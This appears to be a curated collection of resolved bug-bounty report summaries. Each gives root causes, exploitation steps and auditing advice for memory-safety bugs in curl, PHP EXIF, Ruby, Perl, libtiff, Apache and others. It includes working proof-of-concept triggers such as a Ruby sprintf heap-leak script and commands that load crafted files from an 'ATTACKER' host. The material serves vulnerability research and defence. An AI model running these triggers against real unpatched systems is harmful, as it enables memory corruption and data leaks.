Insight β A bounds check of the form (offset + size) > length is unsafe whenever offset/size are attacker-controlled fixed-width ints β the sum wraps and passes. Rewrite as offset > length - size. Classic in image/metadata parsers reachable from user uploads.
Real-world example
Caller passes outBufSize larger than out buffer β stack overflow from LAN packet
β Medium
Specimen #2611669 Β· nintendo Β· awarded Β· 36 votes Β· resolved
Program nintendoSurface networkChain crafted LAN browse-reply β CopyAppData stack overflow (+ inf
Root cause
In MK8DX's use of the Pia P2P library, LAN_CopyAppData is called with outBufSize (150) larger than the actual 128-byte out stack buffer; a browse-reply packet whose appDataLength<=outBufSize passes the check, then memcpy(out, packet+48, outBufSize) overwrites the stack frame with attacker-controlled application data.
Method
- Act as a malicious LAN/LDN 'server' and send a crafted browse-reply packet (type 0x1)
- Set application-data length field (packet+432) <= outBufSize so the guard passes
- memcpy copies outBufSize (150) bytes into the 128-byte stack out buffer β stack overflow (RCE if chained with an info leak)
browse-reply packet: [u8 0x1][u32 bodySize=1266][42B misc][0x180B appdata region][u32 appDataLen<=150]... # write-up: github.com/latte-soft/kartlanpwn
Insight β Bugs often live not in a copy function itself but in the caller passing a wrong size; when a library helper takes (out, outBufSize), audit every call site for a size that exceeds the real buffer. LAN/local multiplayer packet parsers are lower-scrutiny surface.
Real-world example
free() called on a stack array β invalid free poisons allocator freelist
β Medium
Specimen #2559516 Β· curl Β· none Β· 34 votes Β· resolved
Program curlSurface otherChain invalid free(stack buf) β freelist poisoned β later malloc r
Root cause
utf8asn1str() has a decode buffer char buf[4] on the stack but, on an invalid wide char (wc>=0x00200000), calls free(buf) on that stack address; on allocators that don't validate the pointer (e.g. Ubuntu bionic glibc) this injects the stack address into the freelist, so a later malloc() returns it and attacker data overwrites live stack (locals, saved return address) β potential RCE.
Method
- Serve a TLS certificate whose ASN.1 string decodes to an invalid wide char (wc>=0x200000) reaching the free(buf) branch
- Client parses the cert during connect β free() is called on the stack buf[4] address, adding it to the allocator freelist
- Interact so a later malloc() returns that stack address and stores attacker-controlled data β overwrite saved return address β ROP/RCE
TLS cert with an ASN.1 non-UTF8 string containing a code point >= 0x00200000 β hits `free(buf)` where buf is `char buf[4]` on the stack
Insight β Grep for free() whose argument is a stack/array variable rather than a heap pointer β an invalid free of a stack address is exploitable on allocators that don't check chunk validity (turns into a stack-overwrite primitive via freelist poisoning). Fix is simply to not free non-heap memory.
Real-world example
Non-owning pointer into freed connection buffer during connection reuse β UAF
β Medium
Specimen #3591944 Β· curl Β· none Β· 33 votes Β· resolved
Program curlSurface other
Root cause
smb_parse_url_path sets req->path (on the easy handle) as a non-owning pointer into smbc->share (connection-owned). On SMB connection reuse the needle connection is freed (smb_conn_dtor frees smbc->share) while req->path still points into that freed buffer; smb_send_open then strlen(req->path) reads freed heap.
Method
- Request two SMB URLs to the same host so curl reuses/tears down a connection: smb://host/share1/file1 then smb://host/share2/file2
- smbc->share is strdup'd per connection; req->path aliases into it (non-owning)
- Connection reuse frees the old smbc->share via smb_conn_dtor; smb_send_open's strlen(req->path) touches freed memory (ASan UAF)
curl -u guest:guest 'smb://127.0.0.1:5445/share1/file1' -o /dev/null 'smb://127.0.0.1:5445/share2/file2' -o /dev/null
Insight β UAF hotspots live at the boundary between per-connection (owning) and per-transfer (borrowing) state; when a struct on the long-lived handle holds a raw pointer into connection-owned memory, connection reuse/teardown dangles it. Audit which struct owns each buffer vs who keeps aliases across reuse.
Real-world example
VLC AVI demuxer memmove overflow from signed size field (CVE-2019-5439)
β Medium
Specimen #484398 Β· vlc_h1c Β· 1126 Β· 25 votes Β· resolved
Program vlc_h1cSurface desktopChain crafted AVI -> unvalidated signed size -> memmove OOB Tag file-upload
Root cause
The ReadFrame function in avi.c uses i_width_bytes read directly from the AVI file as a signed integer and performs memmove/memcpy without a strict bounds check, allowing a crafted AVI to trigger an out-of-bounds memory access (potential RCE).
Method
- Craft an AVI whose i_width_bytes field drives an out-of-range memmove/memcpy in ReadFrame
- Open vlc.exe under windbg and drag the PoC file in
- Observe the invalid memory access / crash (VLC 3.0.6 x64)
// avi.c ReadFrame(): i_width_bytes taken directly from file (signed int),
// used in memmove/memcpy with no strict check -> buffer overflow
Insight β Media/container demuxers are dense with size fields read straight from the file into memmove/memcpy lengths. A signed size that is never validated (negative or huge) is the archetypal file-parser overflow. When auditing parsers, grep for memmove/memcpy whose length is a value read from the input, and check its signedness and upper bound.
Real-world example
Apache httpd ap_find_token header token buffer over-read (CVE-2017-7668)
β Medium
Specimen #241610 Β· ibb Β· awarded Β· 22 votes Β· resolved
Program ibbSurface networkChain crafted header token list -> ap_find_token over-read ->
Root cause
The strict HTTP token-list parsing added in httpd 2.2.32/2.4.24 introduced a bug where ap_find_token can search past the end of its input string; a crafted sequence of request headers causes a segfault or makes ap_find_token return an incorrect value.
Method
- Send a maliciously crafted sequence of request headers to a vulnerable httpd (2.2.32 / 2.4.24-2.4.25)
- ap_find_token's token-list parsing reads past the end of the input string
- Result: segmentation fault (DoS) or incorrect token match affecting downstream logic
# crafted request-header token list that drives ap_find_token past end-of-input
# (e.g. malformed Connection / transfer token headers) -> segfault or wrong token result
Insight β HTTP header token/list parsers that were recently 'hardened' for strictness are a good place to look for off-by-one/over-read bugs: the new stricter scan may miss the terminating condition. When a proxy/server upgrades its request parsing, fuzz malformed multi-header token lists (Connection, TE, Upgrade) for over-reads and inconsistent token matching.
Real-world example
curl SSH sha256 fingerprint use-after-free in error log (CVE-2023-28319)
β Medium
Specimen #1913733 Β· curl Β· none Β· 20 votes Β· resolved
Program curlSurface otherChain fingerprint mismatch -> free(fingerprint_b64) -> failf
Root cause
In ssh_check_fingerprint (lib/vssh/libssh2.c), on fingerprint mismatch fingerprint_b64 is free()d and then passed as an argument to failf() in the very next statement, a use-after-free that either crashes or prints leaked memory into the failure log.
Method
- Trigger the SSH host-key sha256 fingerprint mismatch path
- free(fingerprint_b64) runs, then failf(... , fingerprint_b64, ...) uses the freed pointer
- Depending on heap reuse: crash or information leak in the fail log
if((pub_pos != b64_pos) || strncmp(fingerprint_b64, pubkey_sha256, pub_pos)) {
free(fingerprint_b64);
failf(data, "...Remote %s is not equal to %s", fingerprint_b64, pubkey_sha256); // UAF
}
Insight β free-then-use in logging/error branches is a common, easy-to-audit UAF: grep for a variable used as a printf/log argument on a line at or below its free(). Error paths are under-tested, so these survive. Cheap methodology: `grep -n 'free(' | check subsequent uses of the same identifier`.
Real-world example
Ruby/mruby sprintf %G width abuse -> negative size check bypass -> heap underflow + memory leak (CVE-2017-0898)
β Medium
Specimen #212241 Β· ruby Β· awarded Β· 18 votes Β· resolved
Program rubySurface otherChain crafted %G width -> INT_MIN size -> CHECK bypass + snp
Root cause
In sprintf's %G handling, a huge width (2**31-20) makes `need` overflow to INT_MIN, so the CHECK(l) resize macro receives a negative length that bypasses its `while (l >= bsiz-blen)` growth check. Additionally snprintf fails and returns -1, and blen += n decrements blen, producing a heap buffer underflow and out-of-bounds memory disclosure.
Method
- Use a format with an enormous %G width to drive `need` negative (bypasses CHECK size check)
- snprintf returns -1 on the oversized width; blen += -1 rewinds the write pointer
- Repeat the primitive to underflow the buffer and to leak adjacent heap memory (e.g. a secret string) in the output
# information leak
secret_password = "thisismysuperdupersecretpassword"
f = 1234567890.12345678
unique = sprintf("% 2147483628G", f) # width 2**31-20 -> need=INT_MIN, snprintf ret -1
print unique.length; print unique # leaks heap incl. secret
# heap underflow (writes '!' before str1)
format = "% 2147483628G" * 10 + "!!!!!!!!!!!"
str1 = "1" * 120
sprintf(format, f, f, f, f, f, f, f, f, f, f, f, f, f, f, f, f, f, f, f, f)
Insight β Format-string width/precision fields are attacker-controlled integers feeding size math. Two bugs compound: an integer overflow driving a size check negative, and an unchecked snprintf return value (-1) mutating a length counter. When reviewing printf-family implementations, check that (a) size checks reject negative/overflowed lengths and (b) snprintf's return is validated before being added to an offset.
Real-world example
Unvalidated pickle __setstate__ β type confusion β arbitrary indirect call (Python itertools.chain)
β Medium
Specimen #175091 Β· ibb Β· 1000 Β· 15 votes Β· resolved
Program ibbSurface other
Root cause
chain_setstate() stores the unpickled state tuple's elements as lz->source / lz->active without verifying they are iterators. chain_next() later passes them to PyIter_Next, which calls through a type slot on an object that isn't an iterator β type confusion, jump to bogus address (EIP=0), potential code execution.
Method
- Construct a chain object and feed it a crafted __setstate__ tuple (e.g. via pickle) whose elements are non-iterator objects of an attacker-chosen type
- Iterate the chain β PyIter_Next dereferences a type slot on the confused object
- Control the slot/vtable target for code execution
# state is (source, active); neither validated to be an iterator
# chain_next -> PyIter_Next(lz->source) calls tp_iternext on a wrong-typed object
Insight β __setstate__/__reduce__ handlers that blindly trust the pickled state are a type-confusion goldmine β the attacker chooses object types that get used as if they were the expected type. When auditing C-extension objects, check every setstate for argument type validation before the value is used in a slot call.
Real-world example
free() without NULLing pointer β re-entry double-free + heap-metadata leak (curl MQTT)
β Medium
Specimen #1269242 Β· curl Β· awarded Β· 15 votes Β· resolved
Program curlSurface networkChain partial write sets leftovers -> re-entry frees without re
Root cause
mqtt_doing() frees mq->sendleftovers but never sets it (or mq->nsend) to NULL/0 when the send succeeds; if mqtt_doing is re-entered with the same stale nsend/sendleftovers, curl (1) sends the freed chunk's metadata over the network and (2) frees the same pointer again β UAF + double free (CVE-2021-22945).
Method
- Point curl at an mqtt:// URL
- Have a partial write (Curl_write returns EAGAIN/EWOULDBLOCK β 0 bytes, CURLE_OK) so sendleftovers/nsend get set
- Re-enter mqtt_doing: it frees sendleftovers but doesn't reset it
- Re-enter again: same nsend β sends leftover from freed chunk (leaks heap metadata) and frees it again β double free
if(mq->nsend) {
char *ptr = mq->sendleftovers;
result = mqtt_send(data, mq->sendleftovers, mq->nsend);
free(ptr); // <-- ptr / nsend never reset on success
}
# repro: force one short write (EAGAIN) then re-enter -> 'double free detected in tcache 2'
Insight β 'free(p)' with no 'p=NULL' plus a function that can be called repeatedly with unchanged state is the archetypal double-free. The extra kicker here: the freed buffer is re-sent, leaking freed-chunk metadata to the network (an infoleak that can seed ASLR bypass). Grep for free() in resumable/retry handlers.
Real-world example
exif_read_data on uploaded JPEG as a memory-corruption sink (PHP EXIF)
β Medium
Specimen #384214 Β· ibb Β· awarded Β· 15 votes Β· resolved
Program ibbSurface webChain upload crafted JPEG -> server-side exif_read_data -> hTag file-upload
Root cause
PHP's EXIF parser mishandles crafted JPEG metadata: exif_process_IFD_in_MAKERNOTE recursion + exif_iif_add_value _estrndup copies from a wild/undersized pointer β heap buffer overflow read/write (CVE-2018-14851). A sibling bug (#371135, CVE-2018-12882) is a heap use-after-free in _php_stream_free reached from exif_read_from_file via a crafted JPEG. Any site that calls exif_read_data on user-uploaded images is exposed.
Method
- Craft a JPEG with malformed EXIF/MAKERNOTE IFD structures (deeply nested/oversized tag values)
- Get the target web app to call exif_read_data() on the uploaded image (thumbnailers, image processors do this)
- Parser overflows the heap (14851) or, for the UAF variant (12882, single-byte '/' file), frees then reuses a stream struct
USE_ZEND_ALLOC=0 php -r '$e=exif_read_data("http://ATTACKER/poc/test000.jpeg"); var_dump($e);'
# 371135 UAF minimal repro: echo "Lw==" | base64 -d > test.jpg (a single 0x2f byte) then exif_read_data(test.jpg)
Insight β Image-metadata parsers (EXIF, IPTC, ICC, MAKERNOTE) are dense, recursive, and routinely run on attacker-uploaded files β a top file-upload memory-corruption surface. If an app accepts image uploads and does ANY metadata read/thumbnailing, treat exif_read_data/getimagesize as RCE-adjacent. Test with malformed MAKERNOTE and truncated JPEG headers.
Real-world example
Integer overflow in count-based allocation β attacker-controlled heap write (Perl pack)
β Medium
Specimen #354650 Β· ibb Β· 1000 Β· 15 votes Β· resolved
Program ibbSurface other
Root cause
Perl's pack() with a large repeat/item count integer-overflows the size used to allocate the output buffer, so S_pack_rec writes past the undersized heap allocation with attacker-supplied data (CVE-2018-6913); ASAN shows a 4-byte WRITE just past a 10-byte region.
Method
- Call pack() with a template whose item/repeat count is large enough to overflow the allocation-size computation
- pack allocates a too-small buffer, then writes count items into it β heap buffer overflow
- With attacker-controlled pack data, the overflow bytes are attacker-controlled
# perl -e 'pack(TEMPLATE, ...)' with a very large count so size math overflows
# ASAN: WRITE of size 4 ... S_pack_rec pp_pack.c:2703, 2 bytes right of a 10-byte region
Insight β Format/serialization primitives (pack, sprintf-with-count, printf %N$) that size an output buffer from a user count are integer-overflow-to-heap-overflow candidates. Whenever a program lets untrusted input reach a pack count AND the pack data, this is an attacker-controlled heap write.
Real-world example
PHP PHAR off-by-one NUL write corrupting emalloc metadata
β Medium
Specimen #195586 Β· ibb Β· awarded Β· 12 votes Β· resolved
Program ibbSurface otherTag file-upload
Root cause
In phar_parse_pharfile(), when the alias does not match, buffer[tmp_len]='\0' is written with attacker-controlled tmp_len (manifest_length-14), placing the NUL one byte past the buffer and overwriting the emalloc chunk header.
Method
- Craft a hostile .phar whose manifest sets tmp_len = manifest_length - 14
- Load it (Phar::LoadPhar) with a non-matching alias
- buffer[tmp_len]=0 writes out of bounds, corrupting heap metadata -> crash/RCE
buffer[tmp_len] = '\0'; // vulnerable; fix: buffer[MIN(tmp_len,(size_t)(endbuffer-buffer)-1)] = '\0';
Insight β Any 'NUL-terminate at computed length' line is an off-by-one candidate: verify the index is clamped to the actual allocation. File-format length fields that feed a terminator index give attackers a controlled 1-byte heap write.
Real-world example
Ruby unpack('@') signedness -> negative offset buffer under-read
β Medium
Specimen #298246 Β· ruby Β· awarded Β· 12 votes Β· resolved
Program rubySurface other
Root cause
pack_unpack_internal stores the '@' length in a signed long parsed via STRTOUL; a large decimal wraps to a negative len that passes the `len > RSTRING_LEN` check and sets s = RSTRING_PTR(str)+len, moving the read pointer before the buffer.
Method
- Call String#unpack with a large '@' offset (e.g. 2^32-100 on 32-bit) followed by a read directive
- Signed len becomes negative, pointer moves backwards
- Subsequent C-directive leaks memory before the string buffer
"0123456789".unpack("@4294967196C110") # leaks bytes before the buffer
Insight β Format/length parsers that store an unsigned-parsed value in a signed variable are classic under-read bugs: probe every numeric format directive with values near 2^31/2^63 to flip the sign past a `> length` bound check.
Real-world example
PHP exif_read_data OOB read via crafted JPEG (AFL-found)
β Medium
Specimen #344035 Β· ibb Β· awarded Β· 11 votes Β· resolved
Program ibbSurface otherTag file-upload
Root cause
PHP's EXIF parser (exif_iif_add_value / php_jpg_get16 family) trusts embedded IFD/marker length and offset fields and reads past the allocated image buffer when they are inconsistent, disclosing memory or crashing.
Method
- Fuzz exif_read_data with AFL over JPEG seeds
- Produce a JPEG whose EXIF IFD sizes/offsets point beyond the buffer
- Parse via exif_read_data() (e.g. from a data:// URI) -> OOB read
php -r 'exif_read_data("data://text/plain;base64,<crafted-EXIF-JPEG>");'
Insight β Image metadata parsers reachable from image-upload features are a rich OOB-read surface: any app that thumbnails/reads EXIF on user uploads inherits these. Fuzz the exact library version with AFL and mutate IFD count/offset fields.
Real-world example
curl TFTP small-blksize heap overflow (buffer/read size mismatch)
β Medium
Specimen #684603 Β· curl Β· awarded Β· 11 votes Β· resolved
Program curlSurface network
Root cause
curl's TFTP code allocates the receive buffer based on one blksize value but calls recvfrom() with a different (larger) size, so a malicious/uncooperative TFTP server that sends a larger block than the allocation overflows the heap buffer (CVE-2019-5482).
Method
- Point curl at a malicious TFTP server with a small --tftp-blksize
- Server ignores OACK/blksize negotiation and sends a larger default (512B) block
- recvfrom writes more bytes than the allocated buffer holds -> heap overflow
curl --tftp-blksize 8 tftp://ATTACKER/data.bin --output out.bin # server replies with 512B block
Insight β Whenever allocation size and I/O size are derived from separate variables, a protocol peer controlling one of them causes an overflow. Audit that the recv length argument equals the buffer's allocated length, especially after security 'fixes'.
Real-world example
Squid smblib Smb_Connect stack overflow via oversized SMB domain name
β Medium
Specimen #721333 Β· ibb Β· none Β· 10 votes Β· resolved
Program ibbSurface other
Root cause
In Squid's smblib.c, Smb_Connect/Smb_Connect_Server copy an SMB domain-controller name that originates from user input into a fixed-size array without bounds checking, enabling a buffer overflow (CVE-2019-18353) in the auth-helper context.
Method
- Influence the SMB domain-controller name passed to the Squid NTLM/SMB auth helper
- Overlong name is copied into the fixed array in Smb_Connect_Server
- Overflow -> code execution -> disclosure of credential hashes
oversized SMB DC name string flowing into Smb_Connect_Server()'s fixed buffer
Insight β Auth helpers and 'internal' subprocesses are still attack surface: user-influenced names/paths copied into fixed C arrays overflow. Grep helper code for strcpy/sprintf into stack arrays fed by network-derived identifiers.
Real-world example
free() of a stack buffer during x509 ASN.1 parsing (malicious TLS cert)
β Medium
Specimen #2621057 Β· ibb Β· awarded Β· 8 votes Β· resolved
Program ibbSurface other
Root cause
libcurl's utf8asn1str() parses an ASN.1 UTF-8 string; on an invalid field it returns error but also calls free() on a 4-byte local stack buffer. free() on a stack pointer either aborts or (on lenient allocators) corrupts nearby stack memory.
Method
- Serve a client a crafted TLS server certificate whose ASN.1 UTF8String field is malformed.
- During cert parse, the error path invokes free() on a stack-allocated buffer.
- Result: abort/crash, or stack corruption whose content is decided by the allocator's free() internals.
# Attacker = malicious TLS server. Trigger: curl/libcurl fetching https:// from that server
# with a certificate carrying a malformed ASN.1 UTF-8 string field.
# Advisory: https://curl.se/docs/CVE-2024-6197.html
Insight β free()-on-stack-buffer is a real primitive: audit error/cleanup paths in C parsers where a buffer may be either heap-allocated or a small stack fallback, and the cleanup unconditionally free()s it. Malicious server certificates are an under-tested client-side attack surface.
Real-world example
Fuzzing image parsers with ASAN -> libtiff heap OOB read (CVE-2016-9273)
β Medium
Specimen #181642 Β· ibb Β· awarded Β· 7 votes Β· resolved
Program ibbSurface otherTag file-upload
Root cause
In STRIPCHOP mode libtiff recomputed the strip count instead of using td_nstrips, so cpStrips read one strip pointer past the allocated array -> heap-buffer-overflow read in a library embedded in browsers and devices.
Method
- Build the target image library with AddressSanitizer
- Fuzz its command-line tools (tiffsplit/tiffcp) with mutated TIFFs
- Triage the ASAN 'heap-buffer-overflow READ' in cpStrips -> TIFFNumberOfStrips
# ASAN + a fuzzer (afl) over tiffsplit on mutated .tif files reproduces:
# heap-buffer-overflow READ of size 8 in cpStrips (tiffsplit.c:246), alloc via _TIFFCheckRealloc
Insight β Widely-embedded C parsers (libtiff, libpng, libjpeg) are high-value because a single OOB bug reaches millions of clients. Method: build with ASAN, fuzz the bundled CLI tools, and diff recompute-vs-cached invariants (here TIFFNumberOfStrips recomputing a value that STRIPCHOP had already changed).
Real-world example
Use-after-free via self-referential in-place string mutation (mruby)
β Medium
Specimen #193143 Β· shopify-scripts Β· USD 800 Β· 7 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
String#replace(self) frees the receiver's buffer and then copies from the same (now-freed) pointer, a classic aliasing/self-reference UAF. Later allocations reuse the freed region, so the string silently takes on another object's contents.
Method
- In the mruby sandbox create a string and replace it with itself: $a.replace($a).
- Allocate a new string of the same size ($b).
- Observe $a now reflects $b's bytes -> confirmed UAF / heap reuse.
$a = "A"*50
$a.replace($a)
$b = "B"*50
puts $a # prints BBBB... instead of AAAA... => UAF
Insight β For any interpreter/library string/array API that mutates in place, test the self-aliasing case (x.replace(x), x.concat(x), x[0..]=x). Freeing then re-reading the same buffer is a widespread UAF pattern and gives controlled heap reuse for exploitation.
Real-world example
VM heap/stack corruption via exotic Ruby control flow (mruby)
β Medium
Specimen #214000 Β· shopify-scripts Β· awarded Β· 7 votes Β· resolved
Program shopify-scriptsSurface otherChain malformed control flow -> VM stack/GC corruption -> po
Root cause
Malformed control-flow constructs (recursive method_missing, break inside ensure/lambda, splat of nil) drive the mruby VM's call/GC/stack machinery into inconsistent states, corrupting the reallocated VM stack (glibc 'realloc(): invalid next size') or dereferencing freed/NULL objects during GC marking.
Method
- Fuzz the embedded interpreter with pathological but syntactically valid control flow (method_missing recursion, break in ensure, splat).
- The VM's stack_extend/realloc or GC mark walks over corrupted/freed slots.
- Result: heap-metadata corruption (SIGABRT) or NULL/UAF deref (SIGSEGV) inside the C VM.
# heap metadata corruption (realloc invalid next size):
def method_missing(m,*)e self.ff||=00end
e
# GC mark_context_stack SIGSEGV (also_seen 209937):
def one; too{yield}end
def too; yield; ensure; one{break}end
one
# NULL deref in ary_concat via splat of uninit ivar (also_seen 214681):
def f; end
[][*@a] = f &:s
Insight β Embedded script sandboxes (Shopify Scripts / mruby) are best attacked by fuzzing the VM itself with weird control flow and metaprogramming, not just app logic. Recursion + break/ensure + splat/method_missing repeatedly desync the interpreter's stack and GC into memory corruption -> the path to a sandbox escape.
Real-world example
Zero-length string off-by-one OOB read (buf[len-1] when len==0)
β Medium
Specimen #115702 Β· torproject Β· awarded Β· 7 votes Β· resolved
Program torprojectSurface other
Root cause
libevent DNS search_make_new reads base_name[strlen(base_name)-1] to test for a trailing dot; when base_name is empty (len 0), len-1 underflows the index and reads one byte before the buffer.
Method
- Reach the DNS search-domain code with an empty hostname string.
- The trailing-dot check indexes base_name[-1].
- ASAN build reports heap-buffer-overflow read; production may leak/branch on adjacent byte.
// Vulnerable pattern (libevent evdns.c search_make_new):
// const size_t base_len = strlen(base_name);
// const char need_dot = base_name[base_len - 1] == '.' ? 0 : 1; // len==0 -> [-1]
// PoC: pass a zero-length hostname (char* h = malloc(32); memset(h,0,32);)
Insight β Grep C for `[strlen(x)-1]`, `[len-1]`, `[n-1]` and any last-char check without a `len>0` guard. Empty-string / zero-length inputs are the cheapest fuzz case and a classic underflow OOB read across parsers.
Real-world example
OOB read/write via unchecked offset arithmetic in EXIF maker-note parser (PHP)
β Medium
Specimen #152231 Β· ibb Β· awarded Β· 7 votes Β· resolved
Program ibbSurface otherChain image upload -> EXIF parse -> OOB read (info leak) / cTag file-upload
Root cause
exif_process_IFD_in_MAKERNOTE computes offset_diff = 2 + NumDirEntries*12 + 4 - php_ifd_get32u(dir_start+10) using attacker-controlled NumDirEntries and a raw file dword, then sets offset_base = value_ptr + offset_diff with no validation, so subsequent reads land outside the buffer.
Method
- Craft a JPEG with a Canon maker-note whose NumDirEntries and embedded offset dword drive offset_diff out of range.
- Call exif_read_data() on the image (e.g. any app that reads EXIF from uploads).
- offset_base moves outside the mapped buffer -> OOB read (info leak) or corruption.
<?php $exif = exif_read_data('gen.jpg'); var_dump($exif);
// Root cause: offset_diff = 2 + NumDirEntries*12 + 4 - php_ifd_get32u(dir_start+10, intel);
// NumDirEntries and the dword are attacker-controlled and unvalidated -> offset_base OOB
Insight β Image-metadata parsers (EXIF/IFD/maker-notes) are dense with attacker-controlled offset/length fields multiplied and added into pointers. Any server that calls exif_read_data / getimagesize / thumbnail extraction on uploaded images inherits these OOB primitives. Look for offset = base + f(user_dword) with no bounds recheck.
Real-world example
Regex engine heap over-read during match (Perl S_regmatch)
β Medium
Specimen #207983 Β· ibb Β· awarded Β· 7 votes Β· resolved
Program ibbSurface other
Root cause
S_regmatch reads past the end of the subject buffer (up to ~12 bytes for a \xFF lead byte on 64-bit) while decoding a character during substitution, because the match advances without bounding against the string end.
Method
- Supply a crafted subject string + substitution regex to a Perl program doing s/// on attacker input.
- The matcher reads bytes beyond the allocated subject buffer.
- ASAN reports heap-buffer-overflow read; in production this leaks adjacent heap bytes into match behavior.
# Trigger: substitution (s///) over a crafted subject exercising S_regmatch (regexec.c:6057)
# and grok_bslash_N in regcomp (CVE-2018-18313, also_seen 510888) via \N{...} in a pattern.
# Both are heap over-reads reachable when the regex or subject is attacker-controlled.
Insight β Regex engines fed attacker-controlled patterns OR subjects are a memory-safety surface, not just a ReDoS surface. Multibyte/UTF-8 lead-byte handling and \N{}/named-construct parsing are the recurring over-read spots. Anywhere user input reaches s///, m//, or a user-supplied pattern, consider OOB reads -> info leak.
Real-world example
Format width/precision integer overflow -> heap overflow in sprintf (Perl)
β Medium
Specimen #271330 Β· ibb Β· awarded Β· 7 votes Β· resolved
Program ibbSurface otherChain user-controlled format -> integer overflow in size calc -
Root cause
Perl_sv_vcatpvfn_flags sizes the output buffer from format width/precision (arbitrary size_t); huge values cause multiple integer overflows in the 'need' calculation, then width-based space padding writes assuming space that was never allocated -> heap buffer overflow, demonstrated crashing into a controlled-register indirect call.
Method
- Find code that passes an attacker-influenced FORMAT string to sprintf/printf-family (logging/monitoring wrappers are prime).
- Use enormous width/precision so buffer-size math overflows.
- A following conversion pads with spaces past the short buffer -> overflow (PoC corrupts EAX -> crash on indirect call).
print sprintf("%2000.2000f this is a spacer %4000.4294967245a", 1, 0x0.00008234p+9);
Insight β Format strings are dangerous in memory-managed languages too. If ANY user input reaches the format argument (not just the args) of sprintf/printf in Perl/Ruby/Python C internals, oversized width/precision overflows the size computation into a heap overflow -> potential RCE. Audit generic 'log(fmt, ...args)' helpers for user-controlled fmt.
Real-world example
Double-free in HTTP-proxy connection cleanup (curl)
β Medium
Specimen #1722065 Β· curl Β· none Β· 7 votes Β· resolved
Program curlSurface otherTag webhook
Root cause
When a non-HTTP scheme is tunneled through an HTTP proxy, a proxy connect-state buffer allocated in connect_init() is freed on the disconnect path (conn_free) and freed again in the request-cleanup path (Curl_free_request_state) -> double-free. CVE-2022-42915.
Method
- Route a non-HTTP protocol request through an HTTP proxy (curl -x http://host:port dict://target).
- The proxy CONNECT state buffer is freed once at disconnect and again at request cleanup.
- valgrind reports Invalid free() (double-free) of the ~984-byte proxy block.
curl -x http://localhost:80 dict://127.0.0.1
# alloc: connect_init (http_proxy.c:174) -> free1: conn_free (url.c:810) -> free2: Curl_free_request_state (url.c:2259)
Insight β Double-frees cluster where one buffer is owned by two teardown paths (per-connection vs per-request/easy-handle). Audit cleanup functions for ownership of the same pointer across connection reuse/disconnect and request-state reset. Cross-protocol-through-proxy combinations exercise rarely-tested cleanup orderings.
Real-world example
Non-null-terminated parsed string -> strlen/print over-read
β Medium
Specimen #182140 Β· ibb Β· awarded Β· 6 votes Β· resolved
Program ibbSurface file-uploadTag file-upload
Root cause
libtiff TIFFFetchNormalTag stored C16/C32_ASCII tag values without guaranteeing NUL termination. _TIFFPrintField later fputs/strlen the value, reading past the allocated region until it hits a NUL - a heap over-read (CVE-2016-9297) reachable by tiffinfo on a crafted TIFF.
Method
- Craft a TIFF with a TIFF_SETGET_C16_ASCII / C32_ASCII tag whose value is not NUL-terminated
- Run tiffinfo (TIFFPrintDirectory) on it
- _TIFFPrintField -> _IO_fputs -> strlen over-reads past the buffer -> SEGV
# crafted TIFF; ASAN: SEGV in strlen via _TIFFPrintField (tif_print.c:127)
# fix: TIFFFetchNormalTag NUL-terminates C16/C32_ASCII values
Insight β When a parser copies a length-counted string but a later consumer treats it as a C-string (strlen/printf/fputs), missing NUL termination becomes an over-read. Audit the boundary between counted-buffer parsing and null-terminated string use.
Real-world example
Double-free of buffer on realloc-failure teardown path (remotely forced)
β Medium
Specimen #686823 Β· curl Β· awarded Β· 6 votes Β· resolved
Program curlSurface other
Root cause
curl krb5 read_data() (lib/security.c) reads len from the socket then Curl_saferealloc(buf->data, len). On realloc failure saferealloc frees buf->data and returns NULL, but the teardown path frees buf->data again -> double-free (CVE-2019-5481). A remote peer can force the realloc failure by sending len=0x7fffffff.
Method
- Act as/hijack the Kerberos-authenticated server curl talks to
- Send a data length field of 0x7fffffff so the subsequent realloc fails
- saferealloc frees buf->data; teardown frees it again -> double free
// force realloc failure remotely by controlling len:
int len = 0x7fffffff;
void *p = malloc(10);
void *p2 = realloc(p, len); // fails on 32-bit -> triggers the second free of buf->data
Insight β 'safe' realloc wrappers that free-on-failure are a double-free trap: any caller that ALSO frees the original pointer on the error path double-frees. When a remote-controlled length can deterministically make realloc fail, an attacker weaponizes an otherwise unreachable error path. Audit every Curl_saferealloc/reallocf caller for a second free.
Real-world example
length x expansion-factor integer overflow -> undersized buffer -> heap overflow
β Medium
Specimen #1455248 Β· ibb Β· awarded Β· 6 votes Β· resolved
Program ibbSurface other
Root cause
Ruby CGI.escape_html (optimized_escape_html) sizes its output buffer as RSTRING_LEN(str) * HTML_ESCAPE_MAX_LEN(6). On LLP64/ILP32 platforms where long is 4 bytes (Windows), a ~715MB string makes the product overflow to 1028; ALLOCV_N allocates 1028 bytes but the escape loop writes up to 6x the input -> heap overflow (CVE-2021-41816).
Method
- On a platform where long is 4 bytes, pass a >700MB string to CGI.escapeHTML
- Buffer size = len*6 overflows 32-bit long to a tiny value
- The character-copy loop writes far past the undersized buffer
# 715828054 * 6 = 4,294,968,324 -> wraps to 1028 in a 4-byte long
require 'cgi'
CGI.escapeHTML("A" * 715828054) # writes ~4GB into a 1028-byte buffer
Insight β Any encode/escape/expand routine that allocates input_len * fixed_factor is an integer-overflow sink; the danger is platform-dependent (4-byte long on Windows/ILP32). The identical primitive recurs across PHP escape functions - curl_escape, pg_escape_string, pg_escape_bytea, bzdecompress - all multiply an input length by an expansion factor without an overflow guard. Check size arithmetic with size_t and reject overflow before ALLOC.
Real-world example
Apache mod_remoteip PROXY-protocol remote stack buffer overflow
β Medium
Specimen #674540 Β· ibb Β· awarded Β· 5 votes Β· resolved
Program ibbSurface webTag webhook
Root cause
With RemoteIPProxyProtocol On, mod_remoteip parses attacker-supplied PROXY v1/v2 headers using unsafe memcpy/strcpy into fixed stack buffers and dereferences a NULL for malformed v2, giving a remote stack overflow (and DoS) triggerable by anyone who can speak to the proxy-protocol listener.
Method
- Identify a server front-ended by a listener expecting HAProxy PROXY protocol (mod_remoteip / mod_proxy_protocol)
- Send a crafted PROXY v1 header with an over-length field (unsafe strcpy) or a malformed v2 header (bad length / NULL deref)
- Overflow the fixed stack buffer or crash the worker
PROXY TCP4 <very-long-source-address-field...> <dst> <sport> <dport>\r\n
# or a malformed PROXY v2 binary header with an inconsistent length field
Insight β PROXY protocol handling is unauthenticated pre-request parsing of attacker bytes; whenever a target trusts PROXY headers, treat the parser (fixed buffers, length fields) as raw memory-corruption surface. The same code lives in the third-party mod_proxy_protocol module too.
Real-world example
